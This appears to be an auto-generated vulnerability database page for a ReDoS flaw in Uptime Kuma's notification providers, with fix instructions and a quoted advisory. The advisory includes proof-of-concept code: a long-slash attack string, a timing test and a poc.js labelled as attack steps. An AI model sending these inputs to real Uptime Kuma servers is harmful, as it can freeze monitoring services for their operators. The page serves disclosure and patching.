CVE-2025-26042: Uptime kuma Denial of Service Vulnerability

MODERATE
Advisory Identifier: GHSA-hx7h-9vf7-5xhg
CWE-1333
Published
Advisory Summary

CVE-2025-26042 is a MODERATE denial of service vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Uptime kuma libraries in the npm ecosystem. The issue involves uptime kuma's regular expression in pushdeeer and whapi file leads to redos vulnerability due to catastrophic backtracking. Remediation is available by upgrading affected packages to version 2.0.0-beta.2.

CVE-2025-26042 at a Glance

CVE Identifier CVE-2025-26042
GHSA Identifier GHSA-hx7h-9vf7-5xhg
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Uptime kuma
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2025-26042

To remediate this vulnerability, upgrade all affected Uptime kuma dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

uptime-kuma fixed: Latest secure release
npm install uptime-kuma@Latest secure release
uptime-kuma fixed: 2.0.0-beta.2
npm install uptime-kuma@2.0.0-beta.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls uptime-kuma

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-26042, inspect your project dependencies using npm:

npm ls uptime-kuma

Analyze the terminal output to locate any version of Uptime kuma in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0-beta.2), your application is affected.

Note: The npm ls uptime-kuma command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Uptime kuma, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary There is a `ReDoS vulnerability risk` in the system, specifically when administrators create `notification` through the web service(`pushdeer` and `whapi`). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack. ### Details The regular expression` \/*$\` is used to match zero or more slashes `/` at the end of a URL. When a malicious attack string appends a large number of slashes `/` and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources. ```js .replace(/\/*$/, "") ``` For the regular expression `/\/*$/`, an attack string like ```javascript "https://e" + "/".repeat(100000) + "@" ``` can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack. > When entered from the web interface, the attack string needs to expand `"/".repeat(100000)` and be input directly, such as `https://e/////////..//@`. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk. ### PoC The poc.js is in: https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0 The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack: ```javascript const semver = require("semver"); let test; const nodeVersion = process.versions.node; if (semver.satisfies(nodeVersion, ">= 18")) { test = require("node:test"); } else { test = require("test"); } const PushDeer = require("../../server/notification-providers/pushdeer.js"); const assert = require("node:assert"); test("Test ReDos - attack string", async (t) => { const pushDeer = new PushDeer(); const notification = { pushdeerServer: "https://e" + "/".repeat(100000) + "@", }; const msg = "Test Attacking"; const startTime = performance.now(); try { pushDeer.send(notification, msg) } catch (error) { // pass } const endTime = performance.now(); const elapsedTime = endTime - startTime; const reDosThreshold = 2000; assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`); }); ``` > Move the `test-uptime-calculator.js` file to the `./uptime-kuma/test/backend-test` folder and run `npm run test-backend` to execute the backend tests. Trigger conditions for whapi jams, In the send function within the `uptime-kuma\server\notification-providers\pushdeer.js` file: https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28 ```js // The attack string "httpS://example" + "/".repeat(100000) + "@" // poc.js // Import the target file const Whapi = require("./uptime-kuma/server/notification-providers/whapi"); // Create an instance of Whapi const whapi = new Whapi(); const notification = { whapiApiUrl: "https://e" + "/".repeat(100000) + "@", }; // console.log(`${notification.whapiApiUrl}`); // Define the message to be sent const msg = "Test Attacking"; // Call the send method and handle exceptions whapi.send(notification, msg) // 1-5 are the original installation methods for the project // 6-8 are attack methods // --- // 1.run `git clone https://github.com/louislam/uptime-kuma.git` // 2.run `cd uptime-kuma` // 3.run `npm run setup` // 4.run `npm install pm2 -g && pm2 install pm2-logrotate` // 5.run `pm2 start server/server.js --name uptime-kuma` // --- // 6.Run npm install in the root directory of the same level as `README.md` // 7.Move `poc.js` to the root directory of the same level as `README.md` // 8.and then run `node poc.js` ``` After running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds. <img width="760" alt="redos" src="https://github.com/user-attachments/assets/98f18fee-7555-410e-98c8-763906843812" /> You can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of `/` to the URL, followed by a `non-/` character at the end, entered directly. <img width="1280" alt="1" src="https://github.com/user-attachments/assets/61945200-4397-4933-9170-2a5517613408" /> <img width="1280" alt="webserver" src="https://github.com/user-attachments/assets/c0d7e952-0ec1-4c54-ba31-8b7144c04669" /> ### Impact **What kind of vulnerability is it?** This is a `Regular Expression Denial of Service (ReDoS)` vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in `significant performance degradation or complete service unavailability`, especially when processing specially crafted attack strings. **Who is impacted?** 1. **Uptime Kuma users**: Any users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like `pushdeer.js` and `whapi.js`. Attackers can exploit this vulnerability by injecting crafted strings into the input fields. 2. **Web services and hosting providers**: If Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the application, leading to `downtime`, `degraded performance`, or `resource exhaustion`. ### Solution @louislam I have provided a solution for you to check:https://github.com/louislam/uptime-kuma/pull/5573

CVE-2025-26042 Affected Uptime kuma Versions

2 component(s)
Fixed Versions:
2.0.0-beta.2
Product / Package Ecosystem Affected Versions Fixed Version
uptime-kuma
npm
≥ 1.15.0
≤ 1.23.16
uptime-kuma
npm
≥ 2.0.0-beta.0
< 2.0.0-beta.2
2.0.0-beta.2

References

Frequently Asked Questions

What is CVE-2025-26042?
CVE-2025-26042 is a security vulnerability in Uptime kuma involving Uptime Kuma's Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking under CWE-1333: Inefficient Regular Expression Complexity.
Which Uptime kuma versions are affected?
Affected versions include releases prior to 2.0.0-beta.2 across affected packages: uptime-kuma.
What version fixes CVE-2025-26042?
Upgrading to 2.0.0-beta.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is uptime-kuma affected?
Yes, uptime-kuma is affected in releases prior to Latest secure release, 2.0.0-beta.2. Upgrade your dependency to Latest secure release, 2.0.0-beta.2 or later.
What CWE is associated with CVE-2025-26042?
CVE-2025-26042 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check npm dependencies for CVE-2025-26042?
Run the dependency tree command: 'npm ls uptime-kuma'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hx7h-9vf7-5xhg",
  "modified" : "2025-08-07T14:02:17Z",
  "published" : "2025-03-31T16:12:53Z",
  "aliases" : [ "CVE-2025-26042" ],
  "summary" : "Uptime Kuma's Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking",
  "details" : "### Summary\nThere is a `ReDoS vulnerability risk` in the system, specifically when administrators create `notification` through the web service(`pushdeer` and `whapi`). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.\n\n### Details\nThe regular expression` \\/*$\\` is used to match zero or more slashes `/` at the end of a URL. When a malicious attack string appends a large number of slashes `/` and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.\n```js\n.replace(/\\/*$/, \"\")\n```\nFor the regular expression `/\\/*$/`, an attack string like \n```javascript\n\"https://e\" + \"/\".repeat(100000) + \"@\" \n```\ncan trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.\n> When entered from the web interface, the attack string needs to expand `\"/\".repeat(100000)` and be input directly, such as `https://e/////////..//@`. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.\n\n### PoC\nThe poc.js is in: \nhttps://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0\nThe time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:\n```javascript\nconst semver = require(\"semver\");\nlet test;\nconst nodeVersion = process.versions.node;\nif (semver.satisfies(nodeVersion, \">= 18\")) {\n    test = require(\"node:test\");\n} else {\n    test = require(\"test\");\n}\nconst PushDeer = require(\"../../server/notification-providers/pushdeer.js\");\n\nconst assert = require(\"node:assert\");\n\ntest(\"Test ReDos - attack string\", async (t) => {\n    const pushDeer = new PushDeer();\n    const notification = {\n        pushdeerServer: \"https://e\" + \"/\".repeat(100000) + \"@\",\n    };\n    const msg = \"Test Attacking\";\n    const startTime = performance.now();\n    try {\n        pushDeer.send(notification, msg)\n    } catch (error) {\n    // pass\n    }\n    const endTime = performance.now();\n    const elapsedTime = endTime - startTime;\n    const reDosThreshold = 2000;\n    assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);\n});\n```\n> Move the `test-uptime-calculator.js` file to the `./uptime-kuma/test/backend-test` folder and run `npm run test-backend` to execute the backend tests.\n\nTrigger conditions for whapi jams, In the send function within the `uptime-kuma\\server\\notification-providers\\pushdeer.js` file:\nhttps://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28\n```js\n// The attack string \"httpS://example\" + \"/\".repeat(100000) + \"@\"\n// poc.js\n// Import the target file\nconst Whapi = require(\"./uptime-kuma/server/notification-providers/whapi\");\n\n// Create an instance of Whapi\nconst whapi = new Whapi();\n\nconst notification = {\n    whapiApiUrl: \"https://e\" + \"/\".repeat(100000) + \"@\",\n};\n// console.log(`${notification.whapiApiUrl}`);\n// Define the message to be sent\nconst msg = \"Test Attacking\";\n\n// Call the send method and handle exceptions\nwhapi.send(notification, msg)\n\n// 1-5 are the original installation methods for the project\n// 6-8 are attack methods\n// ---\n// 1.run `git clone https://github.com/louislam/uptime-kuma.git`\n// 2.run `cd uptime-kuma`\n// 3.run `npm run setup`\n// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`\n// 5.run `pm2 start server/server.js --name uptime-kuma`\n// ---\n// 6.Run npm install in the root directory of the same level as `README.md`\n// 7.Move `poc.js` to the root directory of the same level as `README.md`\n// 8.and then run `node poc.js`\n```\n\nAfter running, a noticeable lag can be observed, with the regular expression matching time increasing from a few milliseconds to over 2000 milliseconds.\n<img width=\"760\" alt=\"redos\" src=\"https://github.com/user-attachments/assets/98f18fee-7555-410e-98c8-763906843812\" />\n\nYou can also perform this attack on the web interface. By timing the operation, it can be observed that the lag still occurs. The key to the attack string is appending a large number of `/` to the URL, followed by a `non-/` character at the end, entered directly.\n\n<img width=\"1280\" alt=\"1\" src=\"https://github.com/user-attachments/assets/61945200-4397-4933-9170-2a5517613408\" />\n<img width=\"1280\" alt=\"webserver\" src=\"https://github.com/user-attachments/assets/c0d7e952-0ec1-4c54-ba31-8b7144c04669\" />\n\n### Impact\n**What kind of vulnerability is it?**\n\nThis is a `Regular Expression Denial of Service (ReDoS)` vulnerability. ReDoS exploits poorly designed regular expressions that can lead to excessive backtracking under certain input conditions, causing the affected application to consume high CPU and memory resources. This can result in `significant performance degradation or complete service unavailability`, especially when processing specially crafted attack strings.\n\n**Who is impacted?**\n1. **Uptime Kuma users**:\nAny users or administrators running the Uptime Kuma project are potentially affected, especially if they allow untrusted input through the web interface or notification services like `pushdeer.js` and `whapi.js`. Attackers can exploit this vulnerability by injecting crafted strings into the input fields.\n\n2. **Web services and hosting providers**:\nIf Uptime Kuma is deployed in a production environment, the vulnerability could impact hosting providers or servers running the application, leading to `downtime`, `degraded performance`, or `resource exhaustion`.\n\n### Solution\n@louislam I have provided a solution for you to check:https://github.com/louislam/uptime-kuma/pull/5573",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:H/SC:L/SI:L/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "uptime-kuma"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.15.0"
      }, {
        "last_affected" : "1.23.16"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "uptime-kuma"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0-beta.0"
      }, {
        "fixed" : "2.0.0-beta.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-hx7h-9vf7-5xhg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-26042"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/louislam/uptime-kuma/issues/5574"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/louislam/uptime-kuma/pull/5573"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/louislam/uptime-kuma/commit/7a9191761dbef6551c2a0aa6eed5f693ba48d688"
  }, {
    "type" : "WEB",
    "url" : "https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0"
  }, {
    "type" : "WEB",
    "url" : "https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/louislam/uptime-kuma"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-03-31T16:12:53Z",
    "nvd_published_at" : null
  }
}